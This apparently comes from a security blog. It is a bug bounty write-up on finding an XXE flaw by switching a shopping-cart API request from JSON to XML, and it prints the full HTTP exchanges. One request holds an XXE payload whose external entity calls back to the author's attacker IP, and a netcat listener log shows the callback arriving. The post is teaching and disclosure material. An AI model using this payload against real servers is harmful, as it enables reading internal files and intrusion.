Background
Findings vulnerabilities like XXE in bug bounty programs are awesome. I have found one XXE bug on private bug bounty program by converting the JSON request to XML request. It was very awesome so though to share with you all.
Technial Details
After fuzzing with the request and responses, I was encountered with the API request which was sending the request in form of JSON as shown below:-
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
PUT /api/v3/carts/19352307/shipping/address HTTP/1.1 Host: test.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://test.com/cart Content-Length: 227 Cookie: [SNIP] Connection: close Content-Type: application/json;charset=UTF-8 {"root": {"root": { "firstName": "Avinash", "lastName": "", "country": "United States", "phoneNumber": "", "city": "ddd", "postalCode": "ddd", "street1": "ddd", "company": "", "street2": "", "state": "ddd" }}} |
For a valid request, the response was 204 No-Content
1 2 3 4 5 6 7 8 9 10 11 12 13 |
HTTP/1.1 204 No Content Server: nginx Date: Sat, 25 Nov 2017 10:43:44 GMT Connection: close P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: SPSESSIONID=984a1d71-5b6b-4ed2-8c5b-c33abe24e4e5;Path=/;Expires=Tue, 28-Nov-2017 10:43:42 GMT Expires: Sat, 25 Nov 2017 10:43:43 GMT Set-Cookie: isCacheable=true;Path=/;Expires=Tue, 28-Nov-2017 10:43:42 GMT;Secure;HttpOnly Cache-Control: no-cache X-DEBUG-NGX-LOCATION: api X-Server-Id: 05b1c46e Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Frame-Options: SAMEORIGIN |
I am much comfortable with BurpSuite and downloaded the extension named “Content Type Converter“. This extension helps you to modify the JSON request to XML, XML request to JSON and normal form request to JSON in order to play with request and responses. (Even there are lots of websites out there for this activity but using extension is much effective and comfortable).
So, I have modified the JSON request to XML and checked the response as mentioned below:-
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
PUT /api/v3/carts/19352307/shipping/address HTTP/1.1 Host: test.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://test.com/cart Content-Length: 288 Cookie: [SNIP] Content-Type: application/xml;charset=UTF-8 <?xml version="1.0" encoding="UTF-8" standalone="no"?> <root> <root> <firstName>Avinash</firstName> <lastName/> <country>United States</country> <phoneNumber/> <city>ddd</city> <postalCode>ddd</postalCode> <street1>ddd</street1> <company/> <street2/> <state>ddd</state> </root> </root> |
Response was 204 No Content which was unexpected for me. Same response code for JSON and XML request. (I was very happy at that time)
1 2 3 4 5 6 7 8 9 10 11 12 13 |
HTTP/1.1 204 No Content Server: nginx Date: Sat, 25 Nov 2017 10:54:18 GMT Connection: close P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: SPSESSIONID=984a1d71-5b6b-4ed2-8c5b-c33abe24e4e5;Path=/;Expires=Tue, 28-Nov-2017 10:54:16 GMT Expires: Sat, 25 Nov 2017 10:54:17 GMT Set-Cookie: isCacheable=true;Path=/;Expires=Tue, 28-Nov-2017 10:54:16 GMT;Secure;HttpOnly Cache-Control: no-cache X-DEBUG-NGX-LOCATION: api X-Server-Id: 05b1c46e Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Frame-Options: SAMEORIGIN |
Obviously, my next step was to add XXE payload and check the response on my attacker machine (I have hosted Kali on Amazon).
Request with XXE payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
PUT /api/v3/carts/19352307/shipping/address HTTP/1.1 Host: test.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://test.com/cart Content-Length: 373 Cookie: [SNIP] Connection: close Content-Type: application/xml;charset=UTF-8 <?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]> <root> <root> <firstName>&xxe;</firstName> <lastName/> <country>United States</country> <phoneNumber/> <city>ddd</city> <postalCode>ddd</postalCode> <street1>ddd</street1> <company/> <street2/> <state>ddd</state> </root> </root> |
Response on my Attacker machine:
1 2 3 4 5 6 7 8 9 10 |
root@kali:/home/ec2-user# nc -lvp 8000 listening on [any] 8000 ... connect to [172.31.17.233] from SNIP [SNIP] 59176 GET /TEST.ext HTTP/1.1 X-NewRelic-ID: VQMHUl5XABAIXFlVDgkAVQ== X-NewRelic-Transaction: PxQOBVJRCgoDUFAHAwZVX1xSFB8EBw8RVU4aW1wMBgAKVg1QVFUEAF0OVENKQV1WAwZUBg8GFTs= User-Agent: Java/1.8.0_45 Host: SNIP:8000 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive |
Awesome…!
Now, we can fetch internal server files with HTTP or FTP protocol.
Cheers,
Stay tuned for further blog posts.
Nice One man!